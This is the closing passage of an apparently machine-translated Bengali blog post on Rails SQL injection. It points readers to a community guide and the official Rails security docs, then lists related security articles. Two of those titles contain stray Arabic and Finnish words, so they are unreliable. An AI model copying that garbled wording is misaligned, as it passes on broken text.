Rails SQL Injection হলো কমিউনিটি সদস্যদের দ্বারা কিউরেটেড কম্পাইলড ডকুমেন্টেশন যা প্র্যাকটিক্যাল উদাহরণ দিয়ে সাধারণ SQL ইনজেকশন এড্রেস করে। আমাদের কভার করা বিষয়ের পর এটা অবশ্যই পড়তে হবে।

শেষত, অফিসিয়াল Security Rails ডক্স উপলব্ধ। সেগুলো রেইলস অ্যাপ্লিকেশনে সিকিউরিটি সম্পর্কে সব কিছু কভার করে, ইনজেকশন সহ। তাই, নিশ্চিত করুন সেটা ভালোভাবে পড়েন। আপনার অধ্যয়ন চালিয়ে যান, এবং পরবর্তী স্টপে দেখা হবে!

  1. ২০১৯ সালের উইন্ডোজ ১০ নিরাপত্তা হুমকি ও ভালনারেবিলিটি সমূহ

  2. নেটওয়ার্ক সিকিউরিটির الرئيسية হুমকিগুলো কী কী?

  3. রেইলস সিকিউরিটি: অথেন্টিকেশন ভালনারেবিলিটি vastaan প্রতিরক্ষা

  4. ৫টি গুরুতর তথ্য নিরাপত্তা হুমকি যা আপনি উপেক্ষা করতে পারবেন না